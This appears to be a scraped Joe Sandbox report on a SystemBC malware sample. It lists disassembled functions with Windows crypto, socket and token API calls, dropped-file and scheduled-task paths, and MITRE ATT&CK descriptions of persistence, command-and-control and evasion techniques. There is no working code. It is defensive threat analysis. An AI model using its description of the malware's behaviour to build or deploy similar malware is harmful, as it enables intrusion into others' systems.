Similarity

API ID: FileLocal$CreateFreeModuleMutexNameSleep$AllocAuthorityCloseCopyEnumExitHandleInformationOpenProcessThreadTokenWindows
String ID: llfujo
API String ID: 3825064006-2623408462
Opcode ID: da48f3c4b8f3bb883ace523001b2dd1afccee13f5d8bf6fcda1a97818a6831e3
Instruction ID: 003c2c77f399adabd1d3a4233642bf4d283195a988e00b834c2fc12f3069cfd9
Opcode Fuzzy Hash: da48f3c4b8f3bb883ace523001b2dd1afccee13f5d8bf6fcda1a97818a6831e3
Instruction Fuzzy Hash: 4D418770A80348BAEF30E794CD47F987268FF04B15F164465B744FA2C2EAF456858A5A

Uniqueness

Uniqueness Score: -1.00%

Function 00863B2A Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 195
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00863B67
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00863B85
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00863C40

Strings

SHA1, xrefs: 00863CDF
RSA1, xrefs: 00863C45
KDBM, xrefs: 00863D5A
RSAPUBLICBLOB, xrefs: 00863CBC, 00863CC2
KeyDataBlob, xrefs: 00863DA3, 00863DA9

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1
API String ID: 698452922-1412799199
Opcode ID: 18c5be94ccef0cba62b59a392cc173b1c118f2c6b6c663211872200f4ef1164c
Instruction ID: 3079e65210e39f47aa88cf2d75b64f0e084bc6f3a58e3eb4e5da429aa49c8458
Opcode Fuzzy Hash: 18c5be94ccef0cba62b59a392cc173b1c118f2c6b6c663211872200f4ef1164c
Instruction Fuzzy Hash: 8F712CB294025CAAEB20DF94CC86FDA777CFB44704F1105A6B708F60C1DBB5AA948F59

Uniqueness

Uniqueness Score: -1.00%

Function 00864A0A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 333
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(?,8004667E,00000001), ref: 00864BCF
connect.WS2_32(?,00000002,00000010), ref: 00864BEB
connect.WS2_32(?,00000017,0000001C), ref: 00864BFB
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00864C26
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 00864C49
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00864C8C
select.WS2_32(00000000,?,00000000,00000000,?), ref: 00864D44

Strings

`, xrefs: 00864C58

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctl
String ID: `
API String ID: 2054606664-1850852036
Opcode ID: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction ID: b7468314551d86866480dc9a606793b8a86f3288089a7d36fc03ca841d8d53e1
Opcode Fuzzy Hash: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction Fuzzy Hash: 41D12C71900248BAEB21EBD4CC42FEEBBBCFF08700F114455F655E6191DB71AA58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00862A0B Relevance: 9.1, APIs: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(?), ref: 00862AA0
htons.WS2_32(00000000), ref: 00862AC1
ioctlsocket.WS2_32(?,8004667E,?), ref: 00862AE9
connect.WS2_32(?,?,00000010), ref: 00862AF7
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00862B1D
ioctlsocket.WS2_32(?,8004667E,?), ref: 00862B40

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrselect
String ID:
API String ID: 2081129316-0
Opcode ID: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction ID: 4ff681899452161237ed9d6532d01fc8a58b4e3a6ce4cf9306985cb7814424c9
Opcode Fuzzy Hash: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction Fuzzy Hash: 77311971900258BADF20EBA4CD42FDEB77DFB08314F114095F644F6091EBB59AA48B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00865FB8 Relevance: 9.1, APIs: 6, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAuthorityCloseHandleInformationToken
String ID:
API String ID: 1586583212-0
Opcode ID: 1707c921a7e8f55a14e19b09de659ca5eafb33d8be1dd96373c3de5dc21e3e34
Instruction ID: 82d6e86566a3fecccc4fbb941be364e85f122c77205a533b9c50afac122a62a4
Opcode Fuzzy Hash: 1707c921a7e8f55a14e19b09de659ca5eafb33d8be1dd96373c3de5dc21e3e34
Instruction Fuzzy Hash: 6911F971D0014AFADF11ABE8CD42FEEBB79FF44314F158965B210F5091EB714A24ABA2

Uniqueness

Uniqueness Score: -1.00%

Function 00865609 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0086563D

Part of subcall function 00865FB8: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
Part of subcall function 00865FB8: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
Part of subcall function 00865FB8: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
Part of subcall function 00865FB8: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
Part of subcall function 00865FB8: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
Part of subcall function 00865FB8: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

GetLocalTime.KERNEL32(?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 008657D2
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 008657E5
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018), ref: 00865816

Strings

0, xrefs: 00865846

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: Time$Local$FileFreeSystem$AllocAuthorityCloseHandleInformationInitializeToken
String ID: 0
API String ID: 1744783010-4108050209
Opcode ID: a1c780bd0feac9ba66404310acbc0efb7393dd46e94ea136f93f2a61d3938f50
Instruction ID: 8f794fdd4a27580df6310987cf754b762330f083c0f6b2d8520accb3c5e278bb
Opcode Fuzzy Hash: a1c780bd0feac9ba66404310acbc0efb7393dd46e94ea136f93f2a61d3938f50
Instruction Fuzzy Hash: 62A1E4B5900618AFDB20DB94CC85FDAB3BCFF48304F1140E6E608E7251DA75AA85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00865DDB Relevance: 6.1, APIs: 4, Instructions: 78
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000), ref: 00865EB8
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00865EDC
TranslateMessage.USER32(?), ref: 00865EE5
DispatchMessageA.USER32(?), ref: 00865EEE

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: Message$CreateDispatchTranslateWindow
String ID:
API String ID: 1603676695-0
Opcode ID: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction ID: f357160bd0c35d90ef66b911bff188b1bf4eb29764e527b61b4d0862764f816e
Opcode Fuzzy Hash: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction Fuzzy Hash: 6231EA70E50248BAEB50EFE8CC46FDDB6B8FB04B10F514065B608FA1C1EBB556148BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00865EF9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00866ADD

Strings

llfujo, xrefs: 00865F18
J, xrefs: 00865EFF

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: J$llfujo
API String ID: 621844428-3406935086
Opcode ID: 3e4acc038e22f6ff0e1a9397e63c14ed0e905d77c03657d31d28e17e2454a0a4
Instruction ID: 06057c36ad5daae6d8417a82042c23236f8e6b396d5c8bd5df8c587589e91d6a
Opcode Fuzzy Hash: 3e4acc038e22f6ff0e1a9397e63c14ed0e905d77c03657d31d28e17e2454a0a4
Instruction Fuzzy Hash: E1E0DF3210828DFACF012FC8AC02A9E3F24FB447A2F028032F600A80925A318431AB73

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report i1lq1Qpbyw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SystemBC

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\dtkttiw\llfujo.exe

C:\ProgramData\dtkttiw\llfujo.exe:Zone.Identifier

C:\Windows\Tasks\llfujo.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
i1lq1Qpbyw.exe

Function 00401000 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 119
sleepfilesynchronizationCOMMON

Function 004053B9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Function 004057A9 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 86
processCOMMON

Function 00405708 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Function 0086092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Function 00B1126A Relevance: 1.6, Instructions: 1562
COMMON

Function 00405B8B Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Function 00405D68 Relevance: 15.1, APIs: 10, Instructions: 66
memoryCOMMON

Function 0086003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00405CA9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Function 004058CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Function 0040F550 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 133
memoryCOMMON

Function 00B126AE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 00860DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040D980 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Function 004011B8 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Function 004038DA Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Function 00403DE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Function 00401DC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Function 00404224 Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Function 00403BB4 Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Function 00404359 Relevance: 3.1, APIs: 2, Instructions: 148
memorywindowCOMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Network protocol analysis
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre